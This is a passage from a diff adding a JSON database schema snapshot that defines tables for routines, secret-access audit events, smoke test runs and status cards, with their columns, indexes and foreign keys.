+          "notNull": false
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "concurrency_policy": {
+          "name": "concurrency_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'coalesce_if_active'"
+        },
+        "catch_up_policy": {
+          "name": "catch_up_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'skip_missed'"
+        },
+        "activity_gate_policy": {
+          "name": "activity_gate_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'always'"
+        },
+        "activity_gate_scope": {
+          "name": "activity_gate_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "variables": {
+          "name": "variables",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_enqueued_at": {
+          "name": "last_enqueued_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routines_company_status_idx": {
+          "name": "routines_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_assignee_idx": {
+          "name": "routines_company_assignee_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_project_idx": {
+          "name": "routines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_folder_idx": {
+          "name": "routines_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_responsible_user_idx": {
+          "name": "routines_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routines_company_origin_idx": {
+          "name": "routines_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routines_company_id_companies_id_fk": {
+          "name": "routines_company_id_companies_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_project_id_projects_id_fk": {
+          "name": "routines_project_id_projects_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routines_folder_id_folders_id_fk": {
+          "name": "routines_folder_id_folders_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_goal_id_goals_id_fk": {
+          "name": "routines_goal_id_goals_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_parent_issue_id_issues_id_fk": {
+          "name": "routines_parent_issue_id_issues_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_assignee_agent_id_agents_id_fk": {
+          "name": "routines_assignee_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routines_created_by_agent_id_agents_id_fk": {
+          "name": "routines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routines_updated_by_agent_id_agents_id_fk": {
+          "name": "routines_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "routines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.secret_access_events": {
+      "name": "secret_access_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_secret_definition_id": {
+          "name": "user_secret_definition_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_scope": {
+          "name": "secret_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_owner_user_id": {
+          "name": "credential_owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_type": {
+          "name": "credential_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_subject_id": {
+          "name": "credential_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "consumer_type": {
+          "name": "consumer_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "consumer_id": {
+          "name": "consumer_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "secret_access_events_company_created_idx": {
+          "name": "secret_access_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_secret_created_idx": {
+          "name": "secret_access_events_secret_created_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_user_definition_created_idx": {
+          "name": "secret_access_events_user_definition_created_idx",
+          "columns": [
+            {
+              "expression": "user_secret_definition_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_company_credential_owner_idx": {
+          "name": "secret_access_events_company_credential_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "credential_owner_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_consumer_idx": {
+          "name": "secret_access_events_consumer_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "consumer_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "secret_access_events_run_idx": {
+          "name": "secret_access_events_run_idx",
+          "columns": [
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "secret_access_events_company_id_companies_id_fk": {
+          "name": "secret_access_events_company_id_companies_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_secret_id_company_secrets_id_fk": {
+          "name": "secret_access_events_secret_id_company_secrets_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "secret_access_events_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_issue_id_issues_id_fk": {
+          "name": "secret_access_events_issue_id_issues_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "secret_access_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "secret_access_events_plugin_id_plugins_id_fk": {
+          "name": "secret_access_events_plugin_id_plugins_id_fk",
+          "tableFrom": "secret_access_events",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_run_steps": {
+      "name": "smoke_run_steps",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "path": {
+          "name": "path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scenario_step": {
+          "name": "scenario_step",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "detail": {
+          "name": "detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "screenshot_artifact_ref": {
+          "name": "screenshot_artifact_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_run_steps_company_run_idx": {
+          "name": "smoke_run_steps_company_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_run_steps_company_path_idx": {
+          "name": "smoke_run_steps_company_path_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_run_steps_company_id_companies_id_fk": {
+          "name": "smoke_run_steps_company_id_companies_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "smoke_run_steps_run_id_smoke_runs_id_fk": {
+          "name": "smoke_run_steps_run_id_smoke_runs_id_fk",
+          "tableFrom": "smoke_run_steps",
+          "tableTo": "smoke_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.smoke_runs": {
+      "name": "smoke_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "smoke_runs_company_started_idx": {
+          "name": "smoke_runs_company_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "smoke_runs_company_status_idx": {
+          "name": "smoke_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "smoke_runs_company_id_companies_id_fk": {
+          "name": "smoke_runs_company_id_companies_id_fk",
+          "tableFrom": "smoke_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_card_updates": {
+      "name": "status_card_updates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "card_id": {
+          "name": "card_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "generation_issue_id": {
+          "name": "generation_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "changes": {
+          "name": "changes",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "input_tokens": {
+          "name": "input_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "output_tokens": {
+          "name": "output_tokens",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "cost_cents": {
+          "name": "cost_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "model": {
+          "name": "model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {
+        "status_card_updates_card_started_idx": {
+          "name": "status_card_updates_card_started_idx",
+          "columns": [
+            {
+              "expression": "card_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "status_card_updates_generation_issue_idx": {
+          "name": "status_card_updates_generation_issue_idx",
+          "columns": [
+            {
+              "expression": "generation_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "status_card_updates_card_id_status_cards_id_fk": {
+          "name": "status_card_updates_card_id_status_cards_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "status_cards",
+          "columnsFrom": [
+            "card_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_generation_issue_id_issues_id_fk": {
+          "name": "status_card_updates_generation_issue_id_issues_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "generation_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "status_card_updates_run_id_heartbeat_runs_id_fk": {
+          "name": "status_card_updates_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "status_card_updates",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.status_cards": {
+      "name": "status_cards",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title_pinned": {
+          "name": "title_pinned",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interest_prompt": {
+          "name": "interest_prompt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queries": {
+          "name": "queries",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "query_version": {
+          "name": "query_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "query_compiled_at": {
+          "name": "query_compiled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "query_compiled_by_agent_id": {
+          "name": "query_compiled_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_policy": {
+          "name": "refresh_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compiling'"
+        },
+        "pending_change_count": {
+          "name": "pending_change_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pending_change_hash": {
+          "name": "pending_change_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_change_at": {
+          "name": "last_change_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint": {
+          "name": "fingerprint",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "fingerprint_at": {
+          "name": "fingerprint_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mentioned_issue_ids": {
+          "name": "mentioned_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_update_run_kind": {
+          "name": "last_update_run_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_generated_at": {
+          "name": "last_generated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_model": {
+          "name": "last_model",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generating_issue_id": {
+          "name": "generating_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_eval_at": {
+          "name": "next_eval_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
